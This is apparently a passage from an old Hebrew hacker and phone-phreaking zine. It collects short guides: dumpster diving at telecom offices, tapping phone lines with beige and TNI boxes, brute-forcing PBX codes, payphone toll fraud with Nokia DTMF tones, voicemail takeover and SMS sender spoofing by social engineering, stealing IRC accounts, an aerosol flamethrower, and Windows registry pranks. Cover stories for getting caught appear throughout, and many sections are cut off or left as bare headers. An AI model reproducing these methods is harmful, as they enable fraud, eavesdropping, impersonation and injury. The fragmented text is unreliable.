אל תתנשא -אל תתנשא בפני אף אחד על הדברים שלמדת מאחרים ואל הדברים שאתה יודע 4.
בכלל אלא למד את מי שלא יודע כמו שלימדו אותך וכמו שהספר הזה עושה ,זכור :תמיד יש
מישהו שיודע יותר טוב ממך ,ובכלל כל המטרה של ההאקרים זה להפיץ את הידע בחינם לכל
.דורש
הזהר ורק אח"כ בצע -אם אתה רוצה לפרוץ לאתר שאותו אתה לא כל כך אוהב הזהר את בעל 5.
האתר ואמור לו שיוריד את האתר מהרשת ואם הוא לא עושה את דבריך פרוץ את האתר בלי
.רגשות אשמה
תהיה בן אדם -זכור שהקהילה של האינטרנט היא חברה בדיוק כמו בחיים אלא שברשת אתה 6.
.אנונומי ולמרות זה תתנהג כמו בן אדם ולא כמו פרא
125
שקר \ אמת -פריקינג
.שקר :אם אני אקרא את הטקסט הזה אני אהיה פריקר טוב
.אמת :שוב לא נכון ,הטקסט נועד להסביר לכם מעט מידע על פריקינג ואיך להיזהר במעשיכם
By Prising
126
חיפוש במזבלות לפריקרים
?מה צריך
////////
(חולצה ישנה ארוכה ,נעליים ישנות וזוג מכנסיים ישנים( .הכול בצבע כהה &
פנס &
תיק גדול לניירות &
& Walkie Talkie
walkie talkieחברים (בין )2-6לפחות אחד נמצא בתצפית עם &
קודם כול לך למקום שאתה רוצה לחפש בו (עדיף משרדים של בזק /חברות טלפון סלולרי) בזמן
.האור ותראה איך המקום נראה ,מאיפה נכנסים ואם יש שומרים בחוץ או מנעולים
.בלילה לאחר מכן ,לך למקום ותיכנס למיזבלה
.שם אתה תראה המון פחים גדולים אחד ליד השני ,פתח אותם ותסתכל פנימה
רוב מה שתראה הוא נייר ,ומה שאתה צריך זה ניירות אז קח הרבה ניירות לתוך התיק וצא
.מהמקום
כשאתה מגיע הביתה תסתכל על מה שלקחת ,זרוק את הדברים הלא חשובים לפח זבל ברחוב
(כלשהו (לא שלך
.וקח את הדברים המעניניים באמת
אם תמצא דברים מעניניים ממש תוכל לסרוק את זה ולשלוח לי ,פינת הפריקינג זקוקה לדברים
!כאלה
...מה אם
:תירוצים לשהייה במיזבלה
.איבדתי את הכדורגל שלי כאן #
.אני מחפש ניירות/אלומיניום למיחזור #
.אני צריך חוטי טלפון לפרויקט שלי במדעים #
.אין לי מקום לישון #
127
,בכל מקרה ,אם תופסים אותך ומבינים מה אתה עושה
.אתה יכול להיות מואשם בחציית גבול ולא בשום פשע רציני
,תמיד שלכם
By AiTi
TNI BOX
TNI Box
=======
הערה
----
תוכן עניינים
------------
כאשר אתה מוצא את הקופסא אתה יכול לשנות את הקו לקו אמיתי ( לחשבון אמיתי
( בבזק ,ולא סתם איזה טלפון מזוין על מטבעות
128
את הקופסאות האלה אתה יכול למצוא ליד טלפונים על מטבעות ( המרחק יכול
( .להיות רחוק מאד ,וזה גם יכול להיות קרוב מאד
,אם נגיד את הולך לטלפון ואתה רואה מן כזה חוט לאינשהוא תעקוב אחריו
.או אם אתה רואה מן כזה חור שעליו נכנס חוט ,אז תנסה לעקוב אחריו
נתחיל 4.
--------
הערות 5.
--------
זה נותן לך שיחות חינם Beige Box ,השיטה הזאת זה כמו 1.
.ונותן לך לצותת לטלפון שעליו עליתה
שאתה מתחבר לקו הרגיל ,אז תתקשר ל 110זה ישמיע לך את המספר 2.
.טלפון שעליו התחברת
אם נגיד אחרי שעשיתה את כל הקטע אם הקופסא ,שאתה תלך להתקשר 3.
.לא יוכלו לחשוד בך ,אתה תראה כאילו שאתה מתקשר רגיל
By Boba Smith
129
רשימת המספרים המיוחדים והקידומות של נזק
:רשימת המספרים
משטרה 100 -
מגן דויד אדום 101 -
מכבי האש 102 -
חברת החשמל 103 -
שירות לקוחות של נזק 199 -
פקס לשירות לקוחות של נזק 198 -
:כוכביות וסולמיות
:קידומות
130
שיחת חינם 1800 -
שיחת חינם ,לא עובד ברוב אזורי הארץ 177 -
שיחה מכל הארץ בתשלום 1700 -
קוי זהב 012 -
ברק 013 -
נזק בינלאומי 014 -
שיחה מכל הארץ בתשלום 1212 -
אזור ירושלים ויהודה ושומרון 02 -
אזור גוש דן והמרכז 03 -
אזור חיפה והצפון 04 -
אזור השפלה והדרום 08 -
! ----למקרה שאתם מכירים עוד מספרים ,אנא פנו אלי ----
,תמיד שלכם
By AiTi
131
סריקת מספרי 1800
עכשיו אתה צריך לבחור את טווח המספרים שאתה רוצה לבדוק אותם.
אני ממליץ לנסות מספרים של ,1800אבל הבחירה בידיכם.
132
הקישו את התבנית שאתה רוצים ,לחצה על Xתהיה כמו לחיצה על כל המספרים.
לחצו על OKואז על
By AiTi
133
PBX
פעם (לפני 5שנים בערך) השתמשו הרבה אנשים בקודים שפורסמו ב BBSכדי לעשות שיחות
חינם,
אני מקווה שבטקסט זה אני "יחזיר עטרה ליושנה" (אוף ...אני שונא את ש"ס)
מאריך בדרך כלל שייך לחברת שיחות בינלאומיות גדולה (בזק בינלאומי ,קווי זהב ,ברק) או
חברת טלפון בינלאומית,
למאריך בדרך כלל יש שתי מטרות:
.1שאנשים המשלמים על השירות יוכלו להתקשר למספרי טלפון בעזרת קוד מסויים (כמו
בזקכרט)...
.2להוות מספר שאליו מתקשרים כאשר מוכרים לך כרטיס חיוג חד-פעמי ,בו אתה מתקשר
למספר כלשהוא ,מקיש את הקוד ומתקשר.
כל מספרי המאריכים נמצאים באזור החיוג חינם של ,1800ולא תוכל למצוא מאריכים באזורי
חיוג אחרים.
כדי למצוא מאריך כדי להשתמש בשיטת הסריקה שכתבתי עליה טקסט,
אם אתה מוצא מספר שכאשר אתה מתקשר אליו הוא נותן לך צליל חיוג ,יש 99%שמצאת
מאריך.
כמו כן מספר המבקש ממך את הקוד לחיוג ,חייב להיות מאריך.
קודם כל צריך למצוא כמה ספרות יש בקוד ,אבל בדרך כלל הקול האוטמוטי יגיד לך" :אנא הכנס
את הקוד בעל ה 8ספרות שלך" וכך תדע כמה ספרות יש,
אך לפעמים לא ינתנו לך שום רמזים על מספר הסיפרות.
בדרך כלל האנשים בחברה יצטרכו לחייג ,9או כל סיפרה אחרת כדי לקבל צליל חיוג.
הפי.בי.אקס הוא בעצם מספר ,שעובדים בחברה אמורים להתקשר אליו ולהקיש את הקוד שלהם,
ואז הם יוכלו לחייג חינם למישהוא ,למטרות עסקים.
פי.בי.אקס יכולים להימצא גם באזורי חיוג רגילים ( )03,04,08וגם באזור חיוג של שיחות חינם (
.)1800
מאריכים יכולים בדרך כלל להתקשר רק למספרים בתוך הארץ,
לעמות זאת ,פי.בי.אקסים יכולים להתקשר לכל מקום בעולם.
היתרון של פי.בי.אקסים הוא שלרובם אין דרך מהירה לאתר ,ןהדרך היחידה לאתר את המתקשר
היא לבדוק את הרישומים אצל בזק ( =CAMAסרט מגנטי המתעד כל מספר שאליו התקשרת,
134
אמור לשמש למטרות חיוב ,אך עדיין ניתן לאתר בעזרתו את המתקשר ,הוא קיים במערכות
טלפון חדשות בלבד)
הדרך הכי טובה היא למצוא את הקוד בעזרת הטלפון ,ללא שימוש במחשב אלא לנסות קודים
רבים בעצמך בזמן שאתה רואה סאות' פארק....
אם אתה מוצאים קודים ,אל תשתגעו ואל תביאו אותם לכל אחד ,כי כך הם ימותו מהר מאוד...
By AiTi
135
המדריך ליצירת צלילים בנוקיה
:הערות
-====-
.מדריך זה נכתב לצורכי לימוד בלבד ,ואין הכותב נושא אחריות כלשהי עקב קריאת מדריך זה
:מצרכים
=======
נוקיה מהסוג היישן - 2160\2120אם אתם לא יודעים על מה אני מדבר ,זה הנוקיה המרובה
...והדוחה שהיה לכל הארץ לפני איזה שנתיים
ידיים
מוח
:הסבר
=====
בנוקיה ** 21לא לקחו בחשבון שיהיה מישהו משועמם שייגלה שיטה שהם משתמשים בה לצורכי
...מחקר ובדיקה
?מה נותנת לנו השיטה
...השיטה מאפשרת בעת הצמדת השפורפרת לטלפון מטבעות ,להתקשר חינם לכל מקום בעולם
:פעולה
======
:תפעילו את המכשיר ,לחצו על
Menu
ויישר על הכפתור
SND
:אחר כך הוא יגיד לכם
Location Number:
[DTMF].הכוונה למספר הזיכרון שאותו אתם רוצים לשמוע בצלילים
.נגיד אנחנו רוצים לחייג ליוסי ,שנמצא אצלינו במספר זיכרון 33
OKאז אנחנו מקישים 33ולוחצים על
...שהוא בעצם הכפתור של התפריט DTMFעכשיו יש לנו אפשרות ללחוץ על
...ואיזה פלא...המכשיר מפיק את צלילי המספרים של הטלפון של יוסי
עכשיו מה שנותר לנו ,זה למצוא טלפון מטבעות [שקלים] ולהצמיד אליו את הרמקול של הפלאפון
...וגמרנו
...אתם צריכים לשמוע צליל חיבור
!!!תנסו את השיטה על הטלפון בבית ,זה אמור לעבוד מכל מקום...והשיטה עובדת מעולה
!מה שכן ,זה שצריך להיזהר שלא ייתפסו אותכם...כי אז אתם יכולים להיות עצורים על גניבה
אבל אל חשש....פשוט תגידו שאתם משמיעים לחבר שלכם את ההודעה שהחברה המחורמנת
...שלכם השאירה לכם אתמול בלילה
חשוב לציין :השיטה נמצאה ביידיי...ואם היא לא תעבוד אצלכם ,אז תשאירו לי הודעה
בפורום...ועוד משהו...סתם שתדעו...שרוב הטלפונים האלה נמצאים בפיצוחיות הקטנות
ובקיוסקים...בדרך כלל בחוץ ,ובקניונים בצורת טלפון גדול ובדרך כלל בצבע צהוב...תהנו
:לסיכום
-------
נוקיה לא חשבה על זה שמישהו יימצא את השיטה ויידע איך להשתמש בה ולאיזה צורך ,...אבל
נוקיה טעתה...אבל בדגמי הנוקיה החדשים האפשרות הזאת מבוטלת...כנראה הם קיבלו קצת
...שכל האנשים
136
:לפריקרים
=========
שאתם צריכים בפשטות רבה...בלי שום טייפים HERTZאתם יכולים עכשיו ליצור את ה
...ובלאגנים...למרות שהטייפ הטוב והיישן עדיין שולט בנו
By CnTaX
137
:רשימת הקופסאות השונות ותפקידם
אמור לגנוב שיחה ממתינה ,שיחה מזוהה ושיחת ועידה במערכות טלפון ישנות* Acrylic Box -
.שימוש בקו הטלפון של מישהו אחר ללא רשותו ,אחד מהכלים של טכנאי בזק Beige Box -
.מי שיתקשר אליך כאשר אתה משתמש בקופסא זו לא יחוייב על השיחה* Black Box -
!אמור להרוס כל מערכת טלפון באזור ,אל תשתמשו בזה Blotto Box -
.משתמש בטונים כדי לקבל שיחות חינם לכל העולם* Blue Box -
.אמור להרוס את יכולת התקשורת של הטלפון אצל מי ששותלים את הקופסא Busy Box -
.משתמש בחשמל בטלפון שלך למטרות אחרות לפי בחירתך Chartreuse Box -
Coin Collect, Coin Return, Ringbackנותן לך ליצור את הצלילים של* Green Box -
נותן לך לעשות שיחות חינם מטלפונים ציבוריים בארה"ב* Red Box -
מוסיף מוסיקה לקו הטלפון שלך ,מהכרטיס קול או ממערכת סטריאו Rock Box -
By AiTi
138
המדריך המלא לסריקת תדרים באוויר
רדיו
טלפונים אלחוטיים
(טלוויזיה (קול בלבד
טלפונים סלולריים אנלוגיים
רדיו קשר של משטרה
רדיו קשר של מכבי אש
רדיו קשר של מגן-דוד-אדום
('רדיו קשר של חברות אבטח שונות (בתי ספר ,אוניברסיטאות ,מלונים וכו
מוניות
(מיקרופונים ניידים (כמו בתיאטרון
.כמו כן אני ממליץ מאוד לקנות אנטנה מורחבת ,שיכולה לתת לכם טווח כפול וזה ממש לא יקר
?איך אני יכול למצוא לאיזה מספרים אנשים חייגו בטלפון אלחוטי 5.
...די פשוט
רק צריך לקנות כבל של אוזניות שהוא זכר/זכר (תקע/תקע) ולחבר
את יציאת האוזניות של הסקנר לכניסת ה
audio in
,של המחשב
שניתן ( )DTMFולהפעיל את תוכנת זיהוי צלילי הטלפון
.להשיג באתר
139
?לאיזה תדרים אני צריך להאזין 6.
כדאי מאוד לנסות להקשיב לצד של הבסיס ולא לצד של הטלפון עצמו
140
עד - - 460משטרה 458
By AiTi
141
פריצה לטלפונים שעובדים על מטבעות
:הקדמה
אני בטוח שחלקכם כבר שמעתם על שיטה זו או אחרת לשיחות חינם ,גם אם השיטה הייתה
...במקור רעיון שלי
....השיטה הבאה תעבוד ב 80%מהטלפונים ,לא כמו שיטה אחרת שתעבוד אולי רק על 5%
כאשר אתם מרימים את השפורפרת בהתחלה תשמעו צליל חיוג מזוייף ,שמיוצר על ידי הטלפון
....ולא על ידי הפולסים בקו
.מארה"ב ,שעושה צלילי חיוג ואז תוכלו להשמיע את הצלילים לטלפון Tone dialerלקנות 1.
142
!עכשיו אתם יכולים להתקשר לכל העולם
!תתקשר למספרי סקס ,פלאפונים ,כווית וסתם להתקשר לסין
!ועכשיו בונוס
AiTiנכתב על ידי
.במקרה הראשון אתם צריכים לנחש את הסיסמא ,ואז תוכלו לשנות הגדרות
.ובמקרה השני אתם צריכים להתחבר לטלפון דרך היפר טרמינל וגם אז הטלפון יבקש סיסמא
(?אחרי שפרצתם תוכלו בדרך גלל גם לשנות את המחיר של שיחה ( 5אגורות
By AiTi
143
תדרים
רשימה של תדרים ברשת הDTMF.
קבוצה נמוכה:
1, 2, 3, A < 967Hz
4, 5, 6, B < 770 Hz
7, 8, 9, C < 825 Hz
* 0 # D < 941 Hz
^ ^ ^ ^
1209Hz 1336Hz 1477Hz 1633Hz
הרשימה:
MEI HT5000: 3 Diamondtel 200: 1 Alpine 9510: 1
Motorola SCN2025A: 4 Mercury 200: 2 Diamondtel 90X: 1 Alpine 9511: 1
Motorola SCN2034A: 4 Mitsubishi 460 XTAL: 2 Diamondtel 95: 1 Amps ALL: 2
Motorola TLN2574A: 4 Mitsubishi 555: 1 Diamondtel Mesa 50: 4/2 Antel Radiant 832XL: 2
Motorola TLN2659A: 4 Mitsubishi 560: 1 Diamondtel Mesa 52: 4 Ara Pro-Comm 1800: 1
Motorola TLN2724A: 4 Mitsubishi 600: 1 Diamondtel Mesa 52A: 4 Astrotel 500: 1
Motorola TLN2726A: 4 Mitsubishi 700: 4 Diamondtel Mesa 55: 2 Astrotel 580: 1
Motorola TLN2733A: 4 Mitsubishi 800: 1 Diamondtel Mesa 55AX: 4 Astrotel 591: 1
Motorola TLN2734A: 4 Mitsubishi 900: 1 Diamondtel Mesa 55BX: 4 AT&T 1710: 1
Motorola TLN2777A: 4 Mitsubishi 1500: 1 Diamondtel Mesa 60: 4 Audiote/Toshiba CMT500: 2
Motorola TLN2867A: 4 Mitsubishi Mark 1 301: 2 Diamondtel Mesa 60X: 4 Audiotel BC-20: 2
Motorola TLN2879A: 4 Mitsubishi Mark 1 401: 2 Diamondtel Mesa 80: 4 Audiotel CMT-125: 2
Motorola 8000H: 4 Mitsubishi Mark 1 450: 2 Diamondtel Mesa 90X: 4 Audiotel CMT-135: 2
Motorola Ultra Classic: 4 Mitsubishi Mark 1 455: 2 Diamondtel Mesa 95: 4 Audiovox BC20: 2
Mitsubishi Mark 1 500: 2 Diamondtel Mesa 99X: 4 Audiovox BC40: 1
Mitsubishi Mark 1 555: 2 DYNA TAC 2000: 2 Audiovox BC45: 1
Mitsubishi Mark 1 560: 2 Dyna Tac 2000X: 2 Audiovox CMT-125: 2
Mitsubishi Mark 1 600: 2 Dyna Tac 4000: 2 Audiovox CMT-135: 2
Mobira ME-300: 1 Dyna Tac 4500L: 2 Audiovox CMT1700: 1
Mobira ME-53A: 3 Dyna Tac 4500XL: 2 Audiovox CMT400: 1
Mobira ME-57: 1 Dyna Tac 6000: 2 Audiovox CMT405: 1
Mobira TPA 4/400: 1 Dyna Tac 6000X: 2 Audiovox CMT450: 1
Mobira TPA 5/500: 1 Dyna Tac 6000XL: 2 Audiovox CMT550: 1
Motorola SCN2115A: 4 E.F. Johnson: 2 Audiovox CMT600: 1
Motorola SCN2119A: 4 Fujitsu 170 PORTABLE: 1 Audiovox CMT605: 1
Motorola SCN2124A: 4 Fujitsu 183-IIX: 1 Audiovox CMT750: 1
Motorola SCN2126A: 4 Fujitsu FM80M-360: 2 Audiovox CTX1500: 1
Motorola SCN2133A: 4 Fujitsu FM80M-362: 2 Audiovox CTX2500: 1
Motorola SCN2134A: 4 Gateway CP 900: 1 Audiovox CTX4000: 1
Motorola SCN2020A: 4 GE Star: 2 Audiovox CTX5000: 1
Motorola SCN2021A: 4 Goldstar 5000: 1 Colt Transportable: 1
Hitachi CR2100: 1 Diamondtel 100: 1
Hitachi CR2100H: 1
144
By Pirs[i]ng
שיחות חינם בטלפונים שעובדים על מטבעות -שיטה ב
By Prising
145
פריצה למשיבון סלולרי
כל הכתוב כאן הוא ללימוד החומר ואין להשתמש בו ,כל דבר אשר יקרה לכם או לחבריכם לא
.באחריות הכותב
אתם משנים למספר שרציתם ואז מתקשרים לשירות לקוחות 123* :
אתם אומרים :שלום ,יש לי משיבון ושכחתי את הסיסמא ,אפשר לברר אצלכם או אולי לאפס לי
הסיסמא
של המשיבון או משהו כזה (דברו רגיל וחופשי) ,היא אומרת מה המספר שאתה מדבר ממנו (יש
(,להם שיחה מזוהה
אתה עונה את המספר שכתבת בטכנאות של הקוד רק את *המספר המקורי היא אומרת הוא
יאופס תוך 10דקות
.הקוד יהיה .)1234אתה אומר :טוב תודה ,להתראות)
----------סוף----------
.טיפים -תתלבשו על מכשירי על טוקמן ,כי שואלים פחות שאלות זה יותר קל לתחמון
.עכשיו שירות הלקוחות של טומקן זה *779
בונוס אם רשמתם בטכנאות של הפלאפון מספר של מכשיר טוקמן אתם גם תמיד יכולים
להתקשר ל *777
.ולברר מצב חשבון עדכני של הקו .אבל זה לא תמיד עובד ,תלוי בקו ובמכשיר
146
By Pirsing
147
זיוף מספר השולח בשילחת ההודעות
:מצרכים דרושים
I.מכשיר פלאפון נוקיה 5120/6120בקו סלקום גירסא &
היא שבתפריט הודעות טקסט מופיעה האפשרות כתיבת הודעות ,אין אותה בגירסא Iגירסא) &
(A
(אם אינה נתנת האפשרות במכשיר לשלוח הודעות כתובות אנא סגרו את החלון) &&
--------------------------------------------------------------------------------------------
:יאללה לעבודה
*הולכים לטכנאות של הפלאפון (דרך קוד טכנאי של המכשיר) שהוא1. 3001#12345# :
מוצאים את השורה של המספר ומשנים אותו למספר המבוקש אם 2.
.שינוי קטן .כתבתי על זה במדריך על פריצה למשיבונים אבל הנה תזכורת
:המספר הוא
052000000 -->> 2352000000
053000000 -->> 2353000000
058000000 -->> 2358000000
.משנים את השורה ושומרים ויוצאים ,מפעילים את המכשיר מחדש 4.
,כדי לוודא שהכל עובד נכון אנא חייגו לאחד המספרים הנזכרים למטה &&&
.אם קבלתם צליל חיוג אתם בסדר
(.טוקמן בלבד) *777
(.טוקמן בלבד) *779
(.כל הלקוחות) *123
לא חובה אבל אפשרי ,אם לא קיבלתם צליל נורמלי אז בדקו את המספר שכתבתם באבטחה ואת
.המספר שחייגתם
.אם עדיין יש בעיות אז כנראה היא במכשיר אבל אם לא אז שלחו לי אימייל ונראה מה קורה
:יאללה נמשיך
:לכו ל 5.
.תפריט ,הודעות ,הודעות טקסט ,כתיבת הודעות
(.כתבו הודעה (מה שבא לכם
.עכשיו משהו כדי שתדעו לידע אישי
.כאשר ההודעה תגיע לנמען המספר השולח יהיה זה שכתבתם בקוד טכנאי &&&&
.כמו כן יש לוודאות שהמצב של הקו שאתם שולחים ממנו (יותר ממנו עליו) לא במינוס בחשבון
! כמו שאמרתי טוקמן תמיד עדיף .פחות מורכז ופשוט יותר &&&&&
><----------------------------------------------------------------------------------------
! עכשיו אני הולך להגיד משהו שקצת ירתיע אתכם אבל זה שטויות ,מנסיון אישי
,יש סיכוי קלוש ביותר שדווקא תתבצע עוד קבלת-שליחת נתונים על הקו שעליתם עליו
אז יש סיכוי שיעלו עליכם אבל לא יאתרו אתכם אבל כמו כן יבדקו של מי המכשיר
:ואז יבואו אליכם אבל לא לפחד יש דרכים לצאת מזה
.גנבו לי את הפלאפון והרגע מצאתי אותו 1.
.איזה חבר שלי שיחק אותה מבין ועשה לי איזה שינויים בו לא ידעתי מה הוא עושה 2.
.איבדתי את המכשיר ורק עכשיו מצאתי אותו 3.
אבל כל זה סיכוי של 1למיליון שזה יקרה אבל אלה שקוראים את המדריכים שלי צריכים לדעת
.הכל
><----------------------------------------------------------------------------------------
By Pirsing
148
Beige Box
הערות :אני לא אחראי לכל שימוש בחומר הכתוב כאן ,חומר זה הוא
!למטרות לימודיות בלבד ו++--אין --++להשתמש בו
כיצד לבנות
&&&&&&&&&&&
:שיטה שנייה
(?קחו את חוט הטלפון ,וחברו אותו לטלפון( .זה היה קשה נכון
שימוש
^^^^^^
:שיטה ראשונה
.קודם כל תחתכו את חוט הטלפון שלכם והפרידו בין החוט הירוק לאדום
(תמצאו את קופסת החשמל הכללית שלו וסגרו לו את החשמל( .אתם לא רוצים להתחשמל
.אחר-כך קחו את הפטיש ותשברו חלק מהקיר המשותף ,בחלק התחתון
149
.הסתכלו פנימה עם פנס ,ותחפשו חוטי טלפון
אחרי שמצאתם תלחימו את החוט הירוק עם החוט הירוק שלכם ,ואת החוט האדום עם החוט
.האדום שלכם
קחו את החוט שלכם וחברו את הקצה השני לטלפון שלכם .הרימו את השפורפרת ,שומעים צליל
?חיוג
.אם כן אז תחזירו לשכנים את החשמל שלהם
(שיטה זה יכולה לעבוד בשינויים קלים גם כדי לגנוב חשמל וכבלים)
:שיטה שנייה
.לכו אל הקופסאת טלפון של בזק
.פתחו אותה (חלקם לא יעבדו כי יהיה צריך מפתח) בעזרת המברג
.חברו את חיבור הטלפון לאחד משקעי הטלפון
.אם אתם שומעים צליל חיוג הישארו בחיבור הזה ,אם לא אז תחברו לבא אחריו
.השיטה הזה תעבוד גם בחיבור של בית בודד בלבד ,אך בדרך כלל צריך סולם בשביל זה
הערות קטנות לסיום* :אני לא אחראי לכל שימוש בחומר הכתוב כאן ,חומר זה הוא למטרות
ו++--אין --++להשתמש בו !לימודיות בלבד
כל הכתוב כאן הוא בלשון זכר אך מכוון לכולם ,היתיי יכול לכתוב אחרת אבל *
לי שאין בכלל בישראל פריקריות .נראה
By AiTi
150
פריצת חדרים ב Mirc
(...אם אין לכם את הסיבה הזאת ...או אחרת ששווה ...אל תיפרצו זה לא שווה את המאמץ)
ת= תיראו ..נגיד ..שיש איזה אופ בחדר גדול ..והאופ הזה ..זורק אותכם בגלל שלא יודע...
אמרתם משהו על הפוקימון שהוא אוהב ....נגיד אז הוא זורק אותכם( ....זאת הסיבה הכי
(...מומלצת לפרוץ לחדרים ...זה והיתערבות
..אז בכל אופן הוא זורק אותכם ואתם רוצים להחזיר לו
151
פריצת ניקים ב Mirc
...,יש כמה דרכים ...אני יגיד 3ושלושתם דורשים כושר שיכנוע מסויים
אתם רק צריכים איזה אחד פרייאר ...אבל ממש פרייאר ....כזה שאם תגידו לו להיזדהות לניק
...אצל הבוט החדש שלכם הוא יעשה את זה טוב
OoOoOoOoOoOOoOOOooooooooOOooooOoOOOOOOoooOOOooOOOooOOOOo
OOOoooOOOOOOooOOOooOOOOooooOOOoooOOOOooooOOOOOoooOOOooo
(...דרך ב( -לא יעבוד על כאלו שמבינים
OOOoooOOOOOooOOOOoooOOOoooOOOOOooOOOOooooOOOOooOOOOooo
...:עוד אחד ...זה ממש צריך להיות ילד פרייאר כדי שזה יעבוד
<|[You]|> y0 zero33
?<zero33> Yeah
<|[You]|> Here's the new bot. I'm setting up accounts now. he Will Bild A server For
You.
Msg it this-
>add+protected user <your nick> <your nick's password
<zero33> ok
:הערה
למבינים בסקריפטינג ...כדי לבנות בוט ולא להוריד אחד ...כי אז ..לא יאמינו לכם ..אם אתם
מורידים אז
www.mircx.comתורידו אחד מהאלה של
...תיבחרו אחד מהאמצע כדי שאף אחד לא יזהה
^By ^DaK0Da
152
בקבוק תבערה
:חומרים
:אופן הביצוע
...החלק היפה
By ZeBrA
153
איך לבנות לביור Flame Machine
...השיטה היא ישנה ומוכרת ,כתבתי את הטקסט כדי להבהיר כמה נקודות שוב
:חומרים
להתחיל להשפריץ ספריי לקרב בעדינות את המצית והכל מתחיל להיות חם ...שרוף ...אש - ...
.כלומר ברגע זה יש לכם לביור -עם לביור זה אפשר לשרוף דשא ,שוטר ואפילו את בן-לאדן השובב
לסיים את הבקבוק ולדאוג שהבקבוק ישפריץ אוויר ,לקרב את המצית בשיא הזהירות לאוויר
והינה יש לכם לביור .יש להזהר נורא בשיטה זאת משום שאנשים טועים וחושבים שהאוויר הזה
): .לא יביא ללהבה גדולה אבל ...תנסו ותראו
אפשר להדליק אותו ,הוא דליק נורא .אני ממליץ לעשות קו ארוך של ספריי ולהדליק ( ...בסוף
( .הקו אפשר להניח כמה נפצים ...או איזה טיל טומהוק ( :ואז יהיה לכם מצב רוח פ 33ות
154
Windows Tricks Part 1
המדריך הזה יספר לך כיצד תוכל לשנות מלא דברים במערכת הפעלה ה"מהוללת" – Windows
באמצעות עורך הרג'יסטרי (רישום המערכת) ,וכמו כן גם טיפים וטריקים שונים בנוגע לדברים
שיכולים לעזור לך בשעה שאתה משתמש במערכת ההפעלה הזאת (שלדעתי שווה לזב)...
(לא אין הכוונה לפיצוח סיסמת WINDOWSאם חשבת במקרה שהמדריך עוסק בכך)...
השקעתי הרבה שעות בכתיבת המדריך הזה ואני מקווה שתהנה ממנו כמו שאני נהניתי לכתוב
אותו .חלק מהדברים פה נכתבו למשתמשים מתחילים מאוד וחלק למשתמשים מתקדמים אני
מקווה שתפיקו ממנו את הרוב.
המדריך נכתב מחומר שאספתי מאתרים שונים בנוגע לכך במשך השנים האחרונות וגם מידע
אישי שלי לכן אל תופתע אם תראה דברים באתרים אחרים שכבר ראית פה.
לכל מי שמתכנת בשפות תכנות (לדוגמת , ) VBשינסה להפעיל חלק מהשיטות המוצעות פה דרך
תוכנית מסוימת שתפעיל את הרג'יסטרי .זה יכול להיות תרגול נחמד בהחלט ,מי יודע אולי
מתישהו אני יכין תוכנית כזאת...
אזהרה :מדריך זה יכול לפגוע קשות במערכת ההפעלה ו \ או לגרום לפעילות בלתי חוקית ,הוא
נכתב למטרות לימודיות בלבד ולכן אם אתה מתכוון להשתמש בו זה על אחריותך הפרטית בלבד
אני לא לוקח אחריות לכל דבר שתעשה בשימוש במדריך זה בכל אופן שהוא חוקי או לא חוקי!!
ידע נדרש:
-עדיף שתדע להשתמש קצת בעורך הרג'יסטרי שלך ( ) REGEDIT.EXEשנמצא תחת תיקיית
WIN98או WINDOWSוניתן להפעלה אם תלחץ על "התחל" = > הפעלה => ותכתוב
, REGEDITההפעלה שלו די מזכירה את ה"סייר" של המחשב -אז תלמד להשתמש גם בו ,דבר
פשוט בהחלט .וכמו כן גם כדאי שיהיה לך ידע כללי בתכנות רק בשביל שתבין בערך מה אתה
עושה.
כל המידע נכתב למערכת windows 98/95בעברית אך הוא מתאים גם לגרסה האנגלית!
זכור לגבות \ לזכור כל שינוי שאתה עושה כדי שתוכל להשיב את המצב לקדמותו!
אם אתה מגיע לאתר כזה פשוט עמוד במקום שבו אתה רוצה ללחוץ על הלחצן הימני ולחץ על
הכפתור שמתחת לכפתור ( Shiftכן זה עם הציור של העכבר) .איזה יופי ,הלחצן הימני עובד.
משתמשים עם עכבר בעל לחצן אמצעי פשוט יכולים להתעלות על הסקריפט באמצעות לחיצה
רצופה על הלחצן האמצעי ולאחר מכן לחיצה על הלחצן הימני.
HKEY_CURRECT_USER\Sofware\Microsoft\Windows\CurrectVersion\Poli
cies\Explorer
155
עכשיו הדיסק לא יפעל בצורה אוטומטית (כנראה שתצטרף להפעיל את המחשב מחדש כדי
שהשינוי יתרחש) .ד"כ לצורך הגיבוי ברוב המערכות המידע ששינית ממנו היה
00 00 00 95
תפריטי טורבו
את זה אני בטוח שתאהב ,תלחץ על "התחל" ועכשיו על "תוכניות" נגיד ...התפריטים עלים
במהירות איטית ומעצבנת – בוא תהפוך אותם למהירות טורבו :
הכנס לעורך הרג'יסטרי והכנס ל:
HKEY_CURRECT_USER\CONTROL PANEL\ DESKTOP
בתוך DESKTOPהכן מפתח String Valueחדש (ע"י לחיצה על מקש ימני בתוך החלון הימני
ובחירת – ) String Valueוכתוב בשם שלו (לא הערך ! ) MenuShowDelay
בתוכו שים את הערך 10או ערך נמוך מזה (כל ערך שווה למספר מיליוניות השנייה שהמחשב
יחכה עד שהוא יפתח את התפריט הבא) ע"י לחיצה כפולה על התווית שיצרת ..התחל את המחשב
ובפעם הבאה שתכנס לתפריט הוא יטוס לך...
לשנות את האייקון:
גבה את USER.EXEמתיקיית WINDOWS
עכשיו לך לעורך אייקונים כלשהו שיכול לקרוא EXEופתח בו את הקובץ ,שנה אותו למה
שתרצה .משהו חשוב גודל האייקון צריך להתאים לגודל המסך – תנסה לשחק עם זה קצת...
156
להעיף מיקומי תוכניות מ "הוספה \ הסרה"
אתה עושה UNINSTALLלמשחק \ תוכנה אבל כנראה שאתה אוטיסט ולא עשית את זה כמו
שצריך ):כנקמה על כך (חחח) WINDOWSתקעה לך את התווית של זה בלוח הבקרה בתוך
הוספה\ הסרה .רוצה להעיף את זה ? אין בעיה...
לך ל:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\Uninstall
ומחק כל מיקום לא רצוי.
הופה הופה ! מה אני רואה כאן ...היא נראית בדיוק כמו "לוח הבקרה" ...עשה אתה מה שאתה
רוצה כעת...
סיכום:
במדריך זה למדת כמה טריקים נחמדים למערכת ההפעלה שיכולים לייעל את השימוש שלך בה.
כמובן שאם אתה לא יודע איך להשתמש בטריקים הרסת לעצמך את המערכת כמה פעמים ):
מקווה שנהנית
Zeos
157
Windows Tricks Part 2
,הממ אני שמח שאתם קוראים את זה ,כי זה מדריך עם שטויות בוינדוס להריץ על חברים
.שהם מעצבנים אתכם ,ליימרים ,וכאלה שכיף לעשות להם באסה בלב
ע"י
(New > String Value.)Name it NoCloseKey
